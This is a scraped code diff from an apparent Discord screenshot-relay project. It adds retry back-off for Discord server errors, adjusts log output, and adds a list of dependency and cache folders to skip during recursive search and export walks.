|
+
}
|
|
192
195
|
}
|
|
193
196
|
}
|
|
197
|
+
else {
|
|
198
|
+
// 500/502/503/504: exponential back-off with jitter, capped at 30 s
|
|
199
|
+
delay = clampRetryMs(Math.min(30_000, 1000 * Math.pow(2, i)) + Math.floor(Math.random() * 400));
|
|
200
|
+
}
|
|
194
201
|
await sleepMs(delay);
|
|
195
202
|
res = await doFetch();
|
|
196
203
|
if (tracker && routeKey) {
|
|
@@ -199,6 +206,10 @@ async function fetchUntilNot429(doFetch, routeKey, tracker) {
|
|
|
199
206
|
}
|
|
200
207
|
return res;
|
|
201
208
|
}
|
|
209
|
+
/** True for transient Discord server-side errors that are safe to retry. */
|
|
210
|
+
function isRetriable5xx(status) {
|
|
211
|
+
return status === 500 || status === 502 || status === 503 || status === 504;
|
|
212
|
+
}
|
|
202
213
|
// ── Error-text backoff (ticket/webhook flow) ──────────────────────────────────
|
|
203
214
|
function looksLikeDiscordRateLimitMessage(text) {
|
|
204
215
|
return /429|rate limit|rate_limited|being rate limited/i.test(String(text));
|
|
@@ -465,7 +465,7 @@ async function postPngToDiscordChannel(botToken, channelId, png, caption) {
|
|
|
465
465
|
const cap = maxDiscordAttachmentBytes();
|
|
466
466
|
let img = png;
|
|
467
467
|
if (img.length > cap) {
|
|
468
|
-
const shrunk = await (0, fsProtocol_1.
|
|
468
|
+
const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferForDiscordAttachment)(img, cap);
|
|
469
469
|
if (!shrunk || shrunk.buffer.length > cap) {
|
|
470
470
|
return {
|
|
471
471
|
ok: false,
|
|
@@ -787,7 +787,7 @@ async function warnDiscordRelayGuildIfMisconfigured() {
|
|
|
787
787
|
arr = null;
|
|
788
788
|
}
|
|
789
789
|
if (Array.isArray(arr) && arr.length === 0) {
|
|
790
|
-
console.
|
|
790
|
+
console.log(`[relay] Discord screenshots: bot token #${i + 1} is not in any Discord server. Invite it (Developer Portal → your app → OAuth2 → URL Generator): scope \`bot\`; permissions View Channels, Send Messages, Attach Files, Manage Channels, Manage Webhooks. Open the URL, add the bot to your server, then set RELAY_DISCORD_GUILD_ID to that server's ID (Settings → Advanced → Developer Mode → right‑click server icon → Copy Server ID).`);
|
|
791
791
|
}
|
|
792
792
|
}
|
|
793
793
|
}
|
|
@@ -800,7 +800,9 @@ async function warnDiscordRelayGuildIfMisconfigured() {
|
|
|
800
800
|
await listGuildTextChannels(tokens[i], guildId);
|
|
801
801
|
}
|
|
802
802
|
catch (e) {
|
|
803
|
-
|
|
803
|
+
// Log to stdout (not stderr) — Discord 500/504 are transient server-side errors,
|
|
804
|
+
// not relay bugs; they do not warrant the PM2 error log.
|
|
805
|
+
console.log(`[relay] Discord screenshots (token #${i + 1}): ${String(e)}`);
|
|
804
806
|
}
|
|
805
807
|
}
|
|
806
808
|
}
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Dependency / cache directory names skipped during recursive **search** (under user-data scope),
|
|
3
|
+
* **mirror staging** (download / Hub / zip), and **file-count** walks so huge trees do not stall exports.
|
|
4
|
+
*
|
|
5
|
+
* Does **not** affect normal `fs_list` of an explicitly opened folder — only recursive search & export walks.
|
|
6
|
+
*/
|
|
7
|
+
export declare const EXPLORER_HEAVY_SUBDIR_NAMES: Set<string>;
|
|
8
|
+
export declare function explorerHeavySubdirNameSkipped(name: string): boolean;
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.EXPLORER_HEAVY_SUBDIR_NAMES = void 0;
|
|
4
|
+
exports.explorerHeavySubdirNameSkipped = explorerHeavySubdirNameSkipped;
|
|
5
|
+
/**
|
|
6
|
+
* Dependency / cache directory names skipped during recursive **search** (under user-data scope),
|
|
7
|
+
* **mirror staging** (download / Hub / zip), and **file-count** walks so huge trees do not stall exports.
|
|
8
|
+
*
|
|
9
|
+
* Does **not** affect normal `fs_list` of an explicitly opened folder — only recursive search & export walks.
|
|
10
|
+
*/
|
|
11
|
+
exports.EXPLORER_HEAVY_SUBDIR_NAMES = new Set([
|
|
12
|
+
"node_modules",
|
|
13
|
+
"venv",
|
|
14
|
+
".venv",
|
|
15
|
+
"env",
|
|
16
|
+
".env",
|
|
17
|
+
"__pycache__",
|
|
18
|
+
"site-packages",
|
|
19
|
+
"dist-packages",
|
|
20
|
+
".tox",
|
|
21
|
+
".mypy_cache",
|
|
22
|
+
".pytest_cache",
|
|
23
|
+
]);
|
|
24
|
+
function explorerHeavySubdirNameSkipped(name) {
|
|
25
|
+
return exports.EXPLORER_HEAVY_SUBDIR_NAMES.has(String(name || "").trim().toLowerCase());
|
|
26
|
+
}
|
|
@@ -6,10 +6,22 @@ export type CopyMirrorStagingOptions = {
|
|
|
6
6
|
};
|
|
7
7
|
/** True when a short wait and re-copy might succeed (another process releasing a shared lock). */
|
|
8
8
|
export declare function isRetryableCopyError(err: unknown): boolean;
|
|
9
|
-
/**
|
|
9
|
+
/**
|
|
10
|
+
* Count regular files under `dir` (symlinks ignored).
|
|
11
|
+
* Skips the same dependency/cache subtree names as {@link copyDirectoryTreeSelective} so staged counts
|
|
12
|
+
* match what mirror + zip will actually include.
|
|
13
|
+
*/
|
|
10
14
|
export declare function countRegularFilesRecursive(dir: string): number;
|
|
11
15
|
export declare function copySelectionToMirrorStaging(absoluteSource: string, workRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
|
|
12
16
|
mirrorPath: string;
|
|
13
17
|
baseName: string;
|
|
14
18
|
}>;
|
|
15
19
|
export declare function removeMirrorStaging(workRoot: string): Promise<void>;
|
|
20
|
+
/**
|
|
21
|
+
* Mirror multiple absolute file/dir selections into one flat folder with unique entry names
|
|
22
|
+
* (same staging idea as Hub multi-upload `selection.zip`).
|
|
23
|
+
*/
|
|
24
|
+
export declare function mirrorSelectionsIntoFlatStage(absoluteSources: string[], stageRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
|
|
25
|
+
stagedItems: number;
|
|
26
|
+
skippedItems: number;
|
|
27
|
+
}>;
|